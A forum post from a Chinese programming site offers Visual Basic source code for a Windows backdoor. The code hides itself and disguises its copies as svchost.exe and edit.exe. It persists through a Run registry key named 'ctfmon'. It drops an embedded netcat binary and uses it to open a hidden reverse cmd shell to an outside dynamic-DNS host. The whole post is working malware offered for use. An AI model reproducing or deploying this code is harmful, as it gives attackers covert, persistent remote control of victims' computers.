开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 1745|回复: 0
收起左侧

[源码分享] nc打造自己的删除此帖

[复制链接]
发表于 2011-2-27 14:47:45 | 显示全部楼层 |阅读模式   福建省福州市
以下是form1中的代码:
Dim ms() As Byte
Dim share As String
Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
If App.PrevInstance Then
End
End If
share = "C:\Program Files\Common Files\Microsoft Shared\MSInfo\svchost.exe"
If App.Path & "\" & App.EXEName & ".exe" <> share Then'我把启动文件和运行文件分离了
   if dir(share)="" then
         FileCopy App.Path & "\" & App.EXEName & ".exe", share
    end if
      Shell share, vbHide
    End
End If
End Sub
Private Sub Timer1_Timer() '监控NC
If Dir("c:\windows\ms.exe") = "" Then
   ms = LoadResData(101, "custom")'释放nc
    Open "c:\windows\ms.exe" For Binary As #1
     Put #1, 1, ms()'把NC写到系统目录
   Close #1
End If
If CheckApplicationIsRun("ms.exe") = False Then
    Shell "c:\windows\ms.exe -d  -e cmd xuzhenhui.3322.org 80", vbHide'NC反向连接
End If
  
End Sub
Function CheckApplicationIsRun(ByVal szExeFileName As String) As Boolean '判断NC是否在运行的函数其实不用亦无防
          On Error GoTo Err
          Dim WMI
          Dim Obj
          Dim Objs
          CheckApplicationIsRun = False
          Set WMI = GetObject("WinMgmts:")
          Set Objs = WMI.InstancesOf("Win32_Process")
          For Each Obj In Objs'遍历进程
                  If InStr(UCase(szExeFileName), UCase(Obj.Description)) <> 0 Then
                        CheckApplicationIsRun = True
                        If Not Objs Is Nothing Then Set Objs = Nothing
                        If Not WMI Is Nothing Then Set WMI = Nothing
                        Exit Function
                  End If
          Next
          If Not Objs Is Nothing Then Set Objs = Nothing
          If Not WMI Is Nothing Then Set WMI = Nothing
          Exit Function
Err:
          If Not Objs Is Nothing Then Set Objs = Nothing
          If Not WMI Is Nothing Then Set WMI = Nothing
  End Function
Private Sub Timer2_Timer()'监控注册表RUN项和启动文件
Dim sys As String
sys = "c:\windows\system32\edit.exe"
RegEdit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ctfmon", sys
If Dir(sys) = "" Then
     FileCopy App.Path & "\" & App.EXEName & ".exe", sys
End If
End Sub
以下是module1的代码:

Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const GW_OWNER = 4
Public Const SW_HIDE = 0
Public Const WM_CLOSE = &H10

Public Sub RegEdit(strPath As String, strKey As String, strValue As String)'一个修改注册表的子过程   
Dim l As Long
Dim s As String
Dim s1 As String
Dim n As Long
Dim keyhand As Long
s = String(255, Chr(0))
s1 = String(255, Chr(0))
n = 255
l = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)

If l = 0 Then '是否打开
   
    l = RegQueryValueEx(keyhand, strKey, 0, 1, ByVal s, 255)
  
  If l <> 0 Then '是否也有
   
    l = RegSetValueEx(keyhand, strKey, 0, 1, ByVal strValue, LenB(strValue))  '修改注册表
         
  End If

End If

l = RegCloseKey(keyhand)'关闭

End Sub
您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:wp@125.la
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表